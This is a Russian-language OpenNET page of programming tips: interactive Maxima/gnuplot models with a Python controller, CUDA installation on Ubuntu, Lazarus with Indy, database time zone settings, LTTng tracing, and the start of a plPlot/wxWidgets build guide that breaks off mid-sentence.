The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

СОВЕТЫ (Краткие заметки, Tips) (базовая разбивка)

   Программисту и web-разработчику
C/C++, сборка, отладка
Perl
CGI
Regex (регулярные выражения)
Массивы и Хэши
Отладка программ на Perl
Переменные в Perl
Полезные подпрограммы на Perl
Обработка изображений на Perl
Подпрограммы для WEB
Работа с сетью и IP адресами на Perl
Работа со временем и датами
Работа с файлами
Работа с электронной почтой
Функции и модули в Perl
PHP
Regex (регулярные выражения)
Конструкции языка и функции
Серверная часть и интерпретатор
Shell
Готовые скрипты
SQL и базы данных
MySQL специфика
Оптимизация и администрирование MySQL
PostgreSQL специфика
PlPerl и PlSQL
Оптимизация и администрирование PostgreSQL
Web-технологии
CGI на Perl:
CSS и оформление с использованием стилей
HTML
JavaScript
Системы контроля версий и управления исходными текстами

----* Создание интерактивных графических моделей в CAS MAXIMA при использовании ОС GNU Linux   Автор: NuINu  [комментарии]
 
Предисловие.

Не так давно я посмотрел фильм: Конрад Вольфрам. "Как учить детей
настоящей математике с помощью компьютеров", в котором автор использовал некие
программы для улучшения процесса обучения детей, представляющие собой математические
модели, управляемые с помощью интерфейсных графических элементов, таких как кнопки,
шкалы, меню. Я слышал, что подобные интерфейсные элементы встречаются в других
математических пакетах и, естественно, знал, что в максиме ничего подобного нет, не считая,
конечно, wxMaxima, которая является небольшой графической надстройкой над максимой, но
и она не позволяет встраивать подобные элементы в расчетный документ, тем самым не
позволяя создать математическую модель, управление расчетом в которой можно было бы
производить с помощью графических интерфейсных элементов. Поэтому вопрос о создании
интерактивных интерфейсов в максиме долгое время оставался для меня открытым и, не видя
очевидных путей его решения, я решил поизучать, как работает графическая система
отображения в Максиме.


Предпосылки.

В максиме имеются два основных способа отображения графической информации - это
функции plot и draw, простейший график рисуется вызовом функции plot2d(x^2,[x,-9,9]);. Оба
этих класса функций используют другой математический пакет - gnuplot, как раз и
специализирующийся на построении и выводе графиков. Поэтому я занялся изучением
возможностей данного пакета и, в процессе изучения документации, наткнулся на один очень
интересный параметр, который сыграл ключевую роль в успешной реализации задуманного.
При установке типа терминала в gnuplot, для типа терминала X11, допускается параметр
window, описан он плохо, и для чего необходим можно было лишь догадываться,
поэтому я провел эксперимент по изучению возможности использования этого параметра:
было бы очень приятно если бы gnuplot мог выводить графики в любое окно, которое мы ему
укажем. Для эксперимента я написал простейшую программу на питоне, в
которой создавал фрейм заданного размера и пару кнопок. Идентификатор этого окна, а
вернее - фрейма, очень легко узнать командой:

   xwininfo -tree

   Root window id: 0xbd (the root window) (has no name)
   Parent window id: 0x12559b9 (has no name)
   1 child:
   0x3c0000e (has no name): () 640x509+0+0 +2+80
   3 children:
   0x3c00012 (has no name): () 67x29+109+480 +111+560
   0x3c00011 (has no name): () 109x29+0+480 +2+560
   0x3c00010 (has no name): () 640x480+0+0 +2+80

Теперь запустим gnuplot и дадим там несколько команд:

   gnuplot> set terminal x11 window "3c00010"
   Terminal type set to 'x11'
   Options are 'XID 0x3C00010 nopersist'
   gnuplot> plot(sin(x));

вуаля!!! гнуплот рисует график функции в указанном окне, при этом все кнопки
приложения работают . Вот так и выяснилось, что этот параметр является ключевым в
возможности интеграции gnuplot в различные графические приложения в системе Xwindow.


Реализация.

Идея построения интерактивной графической параметрической модели родилась
после этого эксперимента довольно быстро, суть ее состояла в том, что мы добавим в
максиму функцию, позволяющую строить интерактивные графики, организованные по
принципу Модель-Вид-Контроллер, в которой maxima будет отвечать за модель, gnuplot
отвечать за вид, а управлять всем этим и реализовывать контроллер будет программа на
питоне(замечу, выбор питона - это чисто мое предпочтение, контроллер можно организовать
на любом, приятном для вас языке). Здесь я приведу окончательный и полный текст
программы на максиме и опишу что делает каждая ее строчка, но для начала опишу, что
нужно от пользователя, чтобы получить интерактивную графическую модель: во первых
ее надо определить на языке максима, а так же указать параметры, их начальные значения и
диапазон значений(не обязательно, но я не проверял, что будет, если это не
сделать :-) ), а также указать, где в файловой системе находится вид-контроллер
для данной модели.


Создаем модель в максиме:
к примеру это будет график функции n*sin(x) и график функции sin(b*x).
Допустим, в нашей модели n*sin(x), n должен меняться от 0.1 до 10.0 с шагом 0.2, поскольку я
намереваюсь управлять этим значением при помощи шкалы значений целых чисел, то в
формулу надо внести изменения (a/10.)*sin(x), а диапазон значений, передаваемый в контроллер, будет
от 1 до 100, с начальным значением 1 и шагом изменения 2(для демонстрации).
Параметр b: начальное значение 1, диапазон от 1 до 12, и зададим параметр, меняющий
диапазон расчета графиков от 2 до 5, с начальным значением 2

   g1:explicit((a/10.)*sin(x),x,-c*%pi,c*%pi);
   g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
   model:'draw2d(color=red,g1, color=blue,g2);
   param_set:[[a,1,"1:100:2"],[b,1,"1:12"],[c,2,"2:5"]];
   name_model:sconcat(maxima_tempdir,"/work/maxima/gnuplot/mvc_3scale.py"); 

model - это наша параметризованная модель, param_set - это набор параметров с заданием
начальных значений и диапазона возможных значений, name_model - это имя контроллера,
который будет вызываться для отображения нашей модели вместо стандартной программы
отображения графиков gnuplot. Всё, модель задана, осталось только запустить ее в обработку.
Для обработки я выбрал имя функции idraw, в смысле интерактивное рисование.

   idraw(model,param_set,name_model);


Итак, функция idraw:
/* i -означает интерактивный */

   idraw(model,param_set,name_model) := block(
      [old_plot_format,t1,pipe_view_name,pipe_view,plt_fmt,cmd,ll],
      pipe_view_inter_n:sconcat(maxima_tempdir, "/maxima.pipe_interact"),
      pipe_view_param_n:sconcat(maxima_tempdir, "/maxima.pipe_param"),

/*подготовим канал для взаимодействия с процессом интерактивного представления
модели вид-контроллер и канал для передачи параметров от модели в контроллер*/

   if not probe_file(pipe_view_inter_n) then system(sconcat("mkfifo ", pipe_view_inter_n)),
   if not probe_file(pipe_view_param_n) then system(sconcat("mkfifo ", pipe_view_param_n)),

/*запомним предыдущий способ отрисовки графиков и установим свой*/

   old_plot:gnuplot_command,
   gnuplot_command:name_model,
   guplot_close(), 
/*надо обязательно закрыть предыдущую сессию gnuplot, иначе максима не
вызовет новую модель*/
/*выполним отрисовку интерактивной модели с установками по умолчанию*/

   t1:map(lambda([x],x[1]=x[2]),param_set), 
   ev(model,nouns,t1),
/*через канал передачи параметров максимы и интерактивного вида-контроллера настроим контроллер*/
/*с обратной стороны канала уже должен работать процесс, считывающий данные из
него, костыль с |cat >file приделан т.к. максима почему-то не может открыть на запись файл fifo*/

   pipe_view:openw(sconcat("| cat >",pipe_view_param_n)),

/*в цикле передадим имеющиеся параметры*/

   map(lambda([x],printf(pipe_view,"~a:~d:~a~%",  x[1],x[2],x[3]),0),param_set),
   printf(pipe_view,"end~%"),
   close(pipe_view),

/*теперь открываем на чтение канал интерактивной передачи параметров*/

   kill(pipe_view),
   pipe_view:openr(pipe_view_inter_n),

/*запускаем цикл чтения данных из канала управления моделью*/

   cmd:1,
   while cmd=1 do block(
      if stringp(ll : readline(pipe_view)) then block (
         print("read from pipe_view: ", ll), /*для отладки*/
         /*вид приходящей строки (cmd:1,t1:[a = 1,b = 1,c = 2])*/

         eval_string(ll), /*устанавливаем переменные t1,cmd*/

/*получая новые значения параметров, пересчитываем модель и перерисовываем view*/

         if cmd=1 then
             ev(model,nouns,t1 )
         )
         else
             cmd:0
         ),
      close(pipe_view),
      gnuplot_close(),
      gnuplot_command:old_plot
   ); 

view в gnuplot не нуждается в какой либо программе, это полностью управляемый элемент
через stdin в который может писать команды и maxima и контроллер.

Что же должен представлять собой контроллер? У нас это программа на питоне, которая с
одной стороны должна принимать команды от максимы и передавать их в gnuplot, с другой
- она должна передавать установленные в контроллере новые значения параметров
обратно в максиму. Вкратце опишу, что в ней происходит:

0) Поскольку функция idraw заменила название основной утилиты для отрисовки графиков,
то вместо gnuplot будет вызвана наша программа, так создается main_controller_process

1) create_Tk_interface() Создаем графический интерфейс, как-то фрейм в который будет
выводить gnuplot построенные на основе данных из максимы, элементы управления - Scale,
которые затем будут инициализироваться принятыми из максимы параметрами, и значения
которых впоследствии будут передаваться обратно в максму, и пара кнопок(пересчитать и
выход).

2)create_gnuplot_pipe() создаем процесс gnuplot и получаем два канала к нему для ввода и
вывода данных.

3)change_terminal() поскольку интерфес Тк мы построили, гнуплот запустили, можем дать
команду в гнуплот об установке типа терминала X11 и конкретного окна для вывода графиков.

4)make_process_reader() Запускаем дочерний питон процесс, который будет читать данные из
stdin потока и передавать их в процесс gnuplot, таким образом обеспечиваем передачу данных
из максимы в гнуплот.

5)open_pipe_param(read) открываем канал для чтения значений параметров из максимы

5.1) do_read_param() читаем построчно данные из максимы, разбираем ввод и формируем
хеш массив param

6) do_set_widget_param() используя ранее полученные значения параметров, сохраненные в
хеш массиве param

7) open_pipe_interact(write) открываем на запись канал для интерактивной передачи команд в
максиму, где сейчас должна работать функция idraw, читающая и интерпретирующая эти
команды.

8)do_main_Tkloop() запускаем цикл обработки сообщений Tk интерфейса

В процессе работы Тк интерфейса могут происходить следующие события:

8.1) set_param() Пользователь установил новое значение параметра, это новое значение
просто сохраняется в хеш массиве param

8.2) recalc() Пользователь нажал на кнопку "пересчитать", при этом все текущие значения,
сохраненные в массиве param, оформляются в командную строку, которую способна
интерпретировать максима и через канал передаются туда, в максиме, эти данные
интерпретируются моделью, после чего сформированные команды для gnuplot передаются
через процесс-посредник в gnuplot, таким образом, гнуплот выводит новое графическое
представление модели, в соответствии с установленными значениями параметров.

8.3) quit() пользователь нажал на кнопку "выйти" или другим образом завершил работу
контроллера, при этом в максиму передается команда, завершающая цикл чтения канала
интерактивной передачи значений параметров, сигналом kill завершается работа процесса
посредника child_reader_process, затем закрывается и сеанс gnuplot.

На этом программа работы контроллера и завершается.
Для лучшего понимания процесса взаимодействия всех участников данной системы, я
нарисовал диаграмму взаимодействия процессов рис 1. Данной модели соответствует работа
программ mvc_2edit_1scale.py и mvc_3scale.py, их я здесь приводить не буду, т.к. с ними вы
сможете ознакомиться, изучив прилагаемы к этому документу файлы.

Собираем все вместе: определяем модель в каком нибудь файле, например model2.mac
содержащий:

   work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
   /*загружаем функцию интерактивного рисования*/
   load(sconcat(work_dir,"idraw"));
   /*описание модели*/
   g1:implicit(a=x^2+y^2+z^2,x,-c,c,y,-c,c,z,-c,c);
   g2:explicit(sin(b*x)*sin(2*y),x,-2*c,2*c,y,-2*c,2*c);
   model:'draw3d(surface_hide=true,color=red,g1, color=blue,g2);
   param_set:[[a,1,"1:6:1"],[b,1,"1:12"],[c,1,"1:15"]];
   name_model:sconcat(work_dir,"mvc_3scale.py");


корректируем файл контроллера или создаем новый, меняя состав виджетов и названия
параметров, соответствующих нашей модели.

Загружаем максиму, и даем команду:

   load(sconcat(maxima_tempdir,"/maxima/gnuplot/model3.mac"));

и теперь выполняем отрисовку модели, и управление моделью через полученный
интерфейс.

   idraw(model,param_set,name_model);


Рисунок 1



В результате мы должны получить нечто подобное рис 2.


Рисунок 2.





Пример использующий контроллер mvc_2edit_1scale.py допускает изменение параметров с
помощью полей ввода целых чисел и чисел с плавающей запятой (вернее точкой), но для
того, чтобы он заработал, пришлось слегка изменить формат передачи параметров и начать
указывать в них, какого типа значение будет принимать параметр.

Пример создадим файл model2_1.mac

   work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
   load(sconcat(work_dir,"idraw"));
   g1:explicit(a*sin(x),x,-c*%pi,c*%pi);
   g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
   call_d:'draw2d(color=red,g1, color=blue,g2);
   model:call_d;
   param_set:[[a,55.0,"f:0.1:100.0"], [b,17,"i:1:100"], [c,2,"1:10"]];
   name_model:sconcat(work_dir,"mvc_2edit_1scale.py");

в определении параметров добавили столбец, определяющий тип параметра int(i) или
float(f).

   load(sconcat(maxima_tempdir,"/work/maxima/gnuplot/model2_1.mac"));

и запустим интерпретацию нашей модели модели

   idraw(model,param_set,name_model);

должны получить нечто подобное рис.3


Рисунок 3.




Ну и в завершении я представлю программу mvc_any_param.py, которая идеально подойдет
для людей, не желающих программировать для каждой модели еще и контроллер, она
способна в минимальном представлении отрисовать любое передаваемое ей количество
параметров любого типа. Для того, чтобы она работала, необходимо опять изменить формат
передаваемых параметров, и для каждого параметра указывать, какого типа виджет мы
желаем использовать для его редактирования. Добавим в начало каждой строки параметров,
там где мы ранее задавали диапазон, еще одно поле со значениями s - Scale
или e - Entry.

Изучаем пример, файл model4.mac:

   work_dir:sconcat(maxima_tempdir,"/work/maxima/gnuplot/");
   load(sconcat(work_dir,"idraw"));
   g1:explicit((a/10.)*sin(x),x,-c*%pi,c*%pi);
   g2:explicit(sin(b*x),x,-c*%pi,c*%pi);
   model:'draw2d(color=red,g1, color=blue,g2);
   param_set:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"]];
   param_set1:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"],
      [da,55,"s:10:1000"], [bi,17,"e:f:1:100"], [ca,2,"s:0:20"]];
   param_set2:[[a,55.0,"e:f:10.0:1000.0"], [b,17,"e:i:1:100"], [c,2,"s:1:10"],
      [da,55,"s:10:1000"], [bi,17,"e:f:1:100"], [ca,2,"s:0:20"],
      [w,55,"s:10:1000"], [bu,17,"e:f:1:100"]];
   name_model:sconcat(work_dir,"mvc_any_param.py");



Загрузив нашу модель командой:

   load(sconcat(maxima_tempdir,"/work/maxima/gnuplot/model4.mac"));

запустим интерпретацию нашей модели

   idraw(model,param_set2,name_model);

Мы должны получить что то подобное рисунку 4
Я не стал изменять саму модель, просто продемонстрировал простоту добавления
параметров.

Рисунок 4.



Заключение.

Ну вот, собственно говоря, и все. В принципе, в программе можно еще много что
делать и совершенствовать. Но, как говорится, лучшее враг хорошего, к нему можно
бесконечно приближаться, а работу надо рано или поздно заканчивать. Удачи вам,
удосужившимся ознакомиться с моим трудом, надеюсь знакомство с максимой, линуксом и
питоном обогатят вашу жизнь, сделают шире ваши возможности, как это произошло со мной.

Разработал Гагин Михаил ака NuINu c благодарностью к разработчикам Maxima, Gnuplot,
Python, Linux и всему сообществу OpenSource.
Примеры кода к статье и версию статьи в формате PDF можно загрузить здесь.
 
----* Установка NVIDIA CUDA в Ubuntu 9.10 (доп. ссылка 1)   Автор: h1z  [комментарии]
 
CUDA - это архитектура параллельных вычислений от NVIDIA, позволяющая
существенно увеличить вычислительную производительность благодаря использованию
GPU (графических процессоров).
Итак, приступим к установке Nvidia CUDA Toolkit & SDK!

Все действия проводятся в Ubuntu 9.10, хотя официально поддерживается только 9.04.
 
Для начала, следует установить драйверы версии 190(.*). Их можно скачать со
страницы загрузки cuda и установить в ручную, а можно добавить репозиторий с
новыми драйверами:

   sudo add-apt-repository ppa:nvidia-vdpau/ppa # Добавляем репозиторий vdpau
   sudo apt-get update
   sudo apt-get install nvidia-glx-190 nvidia-190-modaliases nvidia-settings-190
 

Toolkit.

После установки драйверов, приступим к установке Toolkit'a. На странице
загрузки cuda, выберите и скачайте подходящий пакет CUDA Toolkit.

Загрузка пакета для ubuntu 9.04 amd64

   wget http://developer.download.nvidia.com/compute/cuda/2_3/toolkit/cudatoolkit_2.3_linux_64_ubuntu9.04.run 
  
Установка Toolkit'a

   sudo chmod +x ./cudatoolkit_2.3_linux_64_ubuntu9.04.run # Замените на свою версию
   sudo ./cudatoolkit_2.3_linux_64_ubuntu9.04.run 
 
SDK.

Установка SDK для текущего пользователя

   wget http://developer.download.nvidia.com/compute/cuda/2_3/sdk/cudasdk_2.3_linux.run
   chmod +x ./cudasdk_2.3_linux.run
   ./cudasdk_2.3_linux.run 

Компиляция примеров:

   export PATH=$PATH:/usr/local/cuda/bin # Указываем путь к компилятору nvcc
   export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib # Для amd64 замените на lib64
   echo 'export PATH=$PATH:/usr/local/cuda/bin' >> ~/.bashrc
   echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib' >> ~/.bashrc # Для amd64 замените на lib64
   sudo nano /etc/ld.so.conf.d/cuda.conf
> /usr/local/cuda/lib  # Для amd64 замените на lib64
   sudo ldconfig
   sudo apt-get install g++-4.3 freeglut3-dev libxi-dev libxmu-dev 

SDK поддерживает версию gcc 4.3, если использовать версию gcc 4.4, то при сборке возникнут ошибки 

Открыть <путь где установлен SDK>/common/common.mk и заменить строки  

   > CXX        := g++-4.3
   > CC         := gcc-4.3
   > LINK       := g++-4.3 -fPIC
   > NVCCFLAGS :=--compiler-bindir=/usr/bin/gcc-4.3

Компиляция

   make

После компиляции, готовые примеры будут находится в папке <путь где установлен SDK>/C/bin/linux/release.
 
----* Настройка Nvidia CUDA 2.3 на Ubuntu 9.04   Автор: Юрий Иванов  [комментарии]
 
Технология CUDA позволяет производить вычисления на видеокарте.  Для некоторых
задач скорость вычислений ускоряется в десятки раз. CUDA 2.3 официально
поддерживает Ubuntu 9.04 . Но тем не менее есть ньюансы. Предлагаю ознакомиться
с моим успешным опытом.

1. Для cuda 2.3 нужен 190й драйвер NVIDIA. Ставим драйвер как написано здесь
http://www.ubuntugeek.com/install-nvidia-graphics-drivers-190-42-in-ubuntu-karmicjauntyintrepidhardy.html и
 перезагрузка.

А именно так:

откройте файл
   sudo gedit /etc/apt/sources.list

и добавьте следующие строки:
   deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main
   deb-src http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main

добавляем ключи
   sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CEC06767

устанавливаем
   sudo apt-get install nvidia-190-modaliases nvidia-glx-190 nvidia-settings-190

перезагрузка

2. Ставим от рута cudatoolkit. Скачать ПО можно здесь:
http://www.nvidia.ru/object/cuda_get_ru.html . Видеодрайвер не нужен - мы его
поставили в предыдущем шаге.
   chmod 744 cudatoolkit_2.3_linux_32_ubuntu9.04.run cudasdk_2.3_linux.run 
   sudo ./cudatoolkit_2.3_linux_32_ubuntu9.04.run

3. Ставим от пользователя cuda sdk

   ./cudasdk_2.3_linux.run

4.добавляем в ~/.bashrc строки

   #settings for cuda
   export PATH=/usr/local/cuda/bin:$PATH
   export LD_LIBRARY_PATH=/usr/local/cuda/lib:$LD_LIBRARY_PATH

(для 64-битных систем в переменной LD_LIBRARY_PATH надо указывать на каталог /usr/local/cuda/lib64)
и выполняем эти команды в терминале чтоб не перезагружаться.

5. Доустанавливаем пакеты и компилируем примеры sdk

5.1 Доустанавливаем пакеты:

   sudo apt-get install g++ freeglut3-dev libxi-dev libxmu-dev

ставит еще кучу дополнительных пакетов. мы соглашаемся.

5.2 Компиляцию можно делать для всех программ и по одиночке. Пробуем

   cd ~/NVIDIA_GPU_Computing_SDK/C
   make

откомпилированные бинарники находятся в ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/release

Можно примеры откомпилировать даже если на компьютере нет видеокарты
поддерживающей CUDA. В этом случае задается параметр emu=1. Результат будет в
папке ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/emurelease

   make emu=1

6. Запускаем откомпилированные программы и радуемся. Проверкой является вывод
программ deviceQuery и bandwidthTest. Вот вывод программ:

   ./deviceQuery
   CUDA Device Query (Runtime API) version (CUDART static linking)
   There is 1 device supporting CUDA

   Device 0: "GeForce GTX 260"
    CUDA Driver Version:                           2.30
    CUDA Runtime Version:                          2.30
  ...
   Test PASSED

   ./bandwidthTest

   Running on......
     device 0:GeForce GTX 260
   Quick Mode
   Host to Device Bandwidth for Pageable memory
   Transfer Size (Bytes)   Bandwidth(MB/s)
    33554432      3168.1
   ... 
   Test PASSED

PS. После установки 190-го драйвера возникает какой-то конфликт с кодеками.
Предлагают поставить 185й драйвер но тогда cuda работать не будет.
 
----* Delphi-подобная среда разработки в Linux на базе Lazarus и Indy 10   Автор: Romeo Ordos  [комментарии]
 
Уже третий год программирую на Delphi и с переходом на Линукс очень огорчился, 
тем что здесь его поддержка довольно плохо реализована. Недавно наткнулся на интересный 
проект Free Pascal Compiler и IDE для него: Lazaros. Как настоящий дельфист решил испытать судьбу. 
Получилось довольно неплохо, и теперь я с уверенностью полностью погрузился в мир Linux. 
Все опыты проводил в дистрибутиве Debian (5.0 lenny).

Изначально добавляем ключи подлинности репозитория:

   gpg --keyserver hkp://pgp.mit.edu:11371 --recv-keys 6A11800F
   gpg --export 6A11800F | sudo apt-key add -

Добавляем сам репозиторий:

   echo "deb http://www.hu.freepascal.org/lazarus/ lazarus-testing universe" > /etc/apt/sources.list.d/lazarus.list
   apt-get update

Устанавливаем Lazarus и fpc

   apt-get install lazarus

Добавляем компоненты Indy:

   wget http://www.indyproject.org/Sockets/fpc/indy-10.2.0.1.tar.gz
   sudo cp ./indy-10.2.0.1.tar.gz /usr/share/lazarus/components/
   sudo tar -xzf indy-10.2.0.1.tar.gz
   cd /usr/share/lazarus/components/indy-10.2.0.1
   sudo mkdir saved
   sudo cp ./lazarus/* ./saved
   sudo cp -f ./fpc/* ./lazarus
   sudo cp -i ./saved/* ./lazarus # Всегда отвечаем n

Теперь устанавливаем сам пакет Indy из самого Lazarus:

Сервис>Преобразовать пакет Delphi в пакет
Lazarus>/usr/share/lazarus/components/indy-10.2.0.1.lazarus/indy/laz.lpk

Ждем долгую компиляцию пакета, после чего наслаждаемся всей функциональностью Delphi...

Полезные ссылки:
   http://www.lazarus.freepascal.org/
   http://www.freepascal.ru/
   http://wiki.lazarus.freepascal.org/index.php/Indy_with_Lazarus
 
----* Изменение текущего часового пояса в MySQL, PostgreSQL и в скриптах   [комментарии]
 
MySQL:

Посмотреть список глобального и локального часового пояса:
   SHOW VARIABLES LIKE '%time_zone%';

Конвертация в запросе времени из одной временной зоны в другую:
   SELECT CONVERT_TZ('2008-10-24 5:00:00','UTC','MSK');

Изменить текущую зону для локального соединения:
   SET time_zone = 'MSK'
или
   SET time_zone = '+03:00';

Для всего MySQL сервера часовой пояс можно поменять установив в файле конфигурации:
   default-time-zone='MSK'

или под привилегированным пользователем выполнить запрос:
   SET GLOBAL time_zone ='MSK'


PostgreSQL:

Для текущей сессии зона задается через:
   SET TIME ZONE 'MSK'
или
   SET TIME ZONE '-3'

Для клиентов использующих libpq часовой пояс может быть определен в переменной окружения PGTZ.

Если часовой пояс для всей СУБД не определен (параметр timezone) в postgresql.conf, он берется из 
стандартной переменной окружения TZ

в shell:
   export TZ=GMT-3

в perl:
   $ENV{"TZ"}="GMT-3";
   
в PHP:
   putenv("TZ=GMT-3");
 
----* Как посмотреть полный список используемых программой библиотек и функций   [обсудить]
 
Библиотеки:
    readelf -d программа |grep NEEDED
Функции из библиотек:
    readelf -s программа
 
----* Как вернуть исходные тексты в состояние до наложения патча   [обсудить]
 
bzcat patch.bz2| patch -R -p1
   где, -R - реверсное наложение патча (возвращает в исходное до патча состояние), -p1 - уровень очистки начального пути
   (если путь в патче "diff -ruN path1/path2/file.c", то -p1 вырезает path1/, -p2 - path1/path2/)
 

   C/C++, сборка, отладка

----* Использование LTTng для прозрачной трассировки приложений в Ubuntu Linux (доп. ссылка 1)   [комментарии]
 
Система трассировки LTTng (http://lttng.org/) работает на уровне Linux-ядра и
отличается минимальным влиянием на работу профилируемого приложения, что
позволяет приблизить условия работы данного приложения к его выполнению без
использования трассировки (например, позволяет выявлять проблемы с
производительностью в программах, работающих в реальном режиме времени).

Поддержка LTTng пока не включена в состав Linux-ядра, но недавно для Ubuntu
Linux  был подготовлен специальный PPA-репозиторий, позволяющий значительно
упростить установку LTTng.

Приведем пример использования LTTng для отладки системы и тюнинга производительности.

Подключаем репозиторий:

   sudo add-apt-repository ppa:lttng/ppa
   sudo aptitude update

Устанавливаем компоненты для трассировки ядра (LTTng работает только с ядром
2.6.35, поэтому в Ubuntu 10.04 может потребоваться установка экспериментального
пакета с более новым ядром):

   sudo apt-get install lttng

Установка утилит для трассировки пользовательских приложений:

   sudo apt-get install ust-bin libust-dev liburcu-dev

Пример поддержи трассировки на уровне ядра

Загружаем ядро lttng:

   sudo ltt-armall

Начинаем трассировку:

   sudo lttctl -C -w /tmp/trace1 программа

Прекращаем трассировку:

   sudo lttctl -D программа

Результаты трассировки /tmp/trace1 теперь можно открыть в утилите lttv или
использовать режим текстового дампа:

   lttv -m textDump -t /tmp/trace1 | grep ...


Трассировка пользовательских приложений со связыванием специальной библиотеки

Собираем приложения добавив в опции сборки флаг '-lust'.

Запускаем приложение с трассировкой:

   usttrace исследуемая_программа

Контроль трассировки с удаленной машины

На локальной машине устанавливаем и запускаем программу-агент:

   sudo apt-get install tcf-lttng-agent
   sudo tcf-agent

На удаленной машине устанавливаем и запускаем клиента:

   sudo apt-get install tcf-lttng-client
   tcf-client

далее, в появившейся консоли вводим:
   connect ip_локальной_машины

и после соединения передаем управляющие команды:
   tcf ltt_control getProviders
   tcf ltt_control setupTrace "kernel" "0" "traceTest"


Пример трассировки

Рассмотрим для примера простую программу, открывающую файл и записывающую в него циклично числа.

    #include <stdio.h>
    #define INT_MAX 2147483647
    int main(volatile int argc, char **argv) {
      int i = 3;
      FILE *fd = fopen("test.out", "w");
      fwrite(&i, sizeof(int), 1, fd);
      fclose(fd);
      volatile long a;
      int x;
      for (x = 0; x<INT_MAX; x++) {
        a++;
      }
      return 0;
   }

Собираем данную программу:

   gcc -o usecase usecase.c
 
  
Теперь попробуем выполнить трассировку при помощи LTTng.

Активируем точки трассировки в ядре:

   sudo ltt-armall

Для автоматизации выполнения активации трассировки, запуска программы и
остановки трассировки напишем небольшой скрипт trace-cmd.sh:

   #!/bin/sh
   if [ -z "$@" ]; then
     echo "missing command argument"
     exit 1
   fi
   cmd="$@"

   name="cmd"
   dir="$(pwd)/trace-$name"
   sudo rm -rf $dir
   sudo lttctl -o channel.all.bufnum=8 -C -w $dir $name
   echo "executing $cmd..."
   $cmd
   echo "return code: $?" 
   sudo lttctl -D $name

Запускаем:

   ./trace-cmd.sh ./usecase

После выполнения трассировки для наглядного анализа результатов запускаем
GUI-утилиту lttv-gui, заходим в меню File->Add и выбираем  директорию
трассировки  "trace-имя", сохраненную в каталоге, в котором был запущен скрипт
trace-cmd.sh. Каждое из событий трассировки представлено в виде графика. Для
нашего тестового приложения будет присутствовать три фазы: создание/доступ к
файлу, вычислительная фаза и завершение процесса.

Оценка различий от strace

Если сравнить результаты работы стандартной утилиты strace:

   strace -o usecase.strace ./usecase

В дополнение к системным вызовам, LTTng учитывает задействование подсистем
ядра, события планировщика задач, обработку прерываний и прочие детали,
недоступные в выводе strace. Но самым интересным отличием от strace является
то, что программа никаким образом не может определить, что подвергается
трассировке. Время наступления событий отображается в наносекундах. Влияние на
производительность трассировки минимально, тестирование показало, что работа
замедляется не более чем на 3%.
 
----* Как подружить plPlot и wxWidgets под ОС Windows   Автор: KoD  [комментарии]
 
0) Введение.

Данный материал рассчитан на начинающих программистов, в частности, студентов,
которым поможет избежать огромного количества подводных камней, таящихся на
пути к использованию этих мощных программных продуктов.

0.1) wxWidgets

В сети очень много материала про данную библиотеку, поэтому отмечу здесь только
основной плюс, что она не имеет лицензионных ограничений в отличие от
аналогичного продукта в виде библиотеки Qt, и позволяет легко писать свободное
и коммерческое ПО любому желающему.

Со всей богатой документацией можно ознакомиться на официальном сайте.

0.2) plPlot

plPlot так же является свободно распространяемой  (LGPL) библиотекой,
предназначенной для построения графиков функций в 2х-мерном и 3х-мерном
пространствах, различных видов и форм.

В связке с библиотекой wxWidgets дает практически неограниченные возможности по
визуализации данных в различных областях применения, от систем мониторинга до
финансовых приложений, калькуляторов и расчетных систем.
Ссылка на официальный сайт.

Обе библиотеки распространяются в виде исходного кода, а значит на OS Windows,
необходимо будет их собрать и скомпилировать при помощи утилиты CMake и
компилятора gcc из пакета MinGW32.

На момент написания статьи самые свежие версии необходимого ПО были:

  • CMake - 3.12.4;
  • Mingw BASE-bin - 2013072200, gcc-c++ - 6.3.0-1;
  • wxWidgets - 3.0.4 Stable;
  • plPlot - 5.13.0;
  • IDE code::Blocks - 17.12; Рекомендую использовать именно данную конфигурацию для более предсказуемого результата. 1) Установка утилит и компиляторов 1.1)Cmake Качаем установщик в соответствии с разрядностью своей операционной системы
  • x32
  • x64 Запускаем..., далее..., далее..., после установки необходимо добавить в переменную %PATH% путь к каталогу "CMake\\bin\\", в стандартной установке это "C:\\Program Files\\CMake\\bin", сделать это можно через Пуск/ Панель управления/ Система/ Дополнительные параметры/ Переменные среды. 1.2) MinGW32 На официальном сайте забираем утилиту "MinGW Installation Manager (mingw-get)" из раздела "Downloads". Запускаем ее и в открывшемся окне через правую кнопку мыши отмечаем для установки пакеты "mingw32-base-bin" и "mingw32-gcc-g++-bin", затем в меню "Installaton" жмем на "Apply Changes" и дожидаемся установки всех пакетов. В случае сбоя недостающие библиотеки можно докачать с репозитория MinGW на sourceforge.net. Нужно убедиться в том, что установилась библиотека "MinGW\\lib\\libgdiplus.a" и заголовочный файл "MinGW\\include\\gdiplus.h". Так же добавляем путь к каталогу "bin\\" в переменную %PATH%, в стандартной установке это "C:\\MinGW\\bin" 2) Установка библиотеки wxWidgets На сайте библиотеки в разделе Downloads качаем установочный файл с исходными текстами и распаковываем.. Путь по-умолчанию будет в корне диска "c:\\wxWidgets-3.0.4\\", и желательно, чтобы он не содержал кириллицы и пробелов. Перед установкой редактируем файл "wxWidgets-3.0.4\\include\\wx\\msw\\setup.h", меняем в нем переменную wxUSE_GRAPHIC_CONTEXT=0 на 1 для всех компиляторов. Затем копируем этот "setup.h" в каталог "wxWidgets-3.0.4\\include\\wx\\" По невыясненным причинам компилятор выдает ошибку при сборке библиотеки, чтобы ее избежать редактируем "MinGW\\include\\stdio.h". Нужно закомментировать строку 345: // extern int 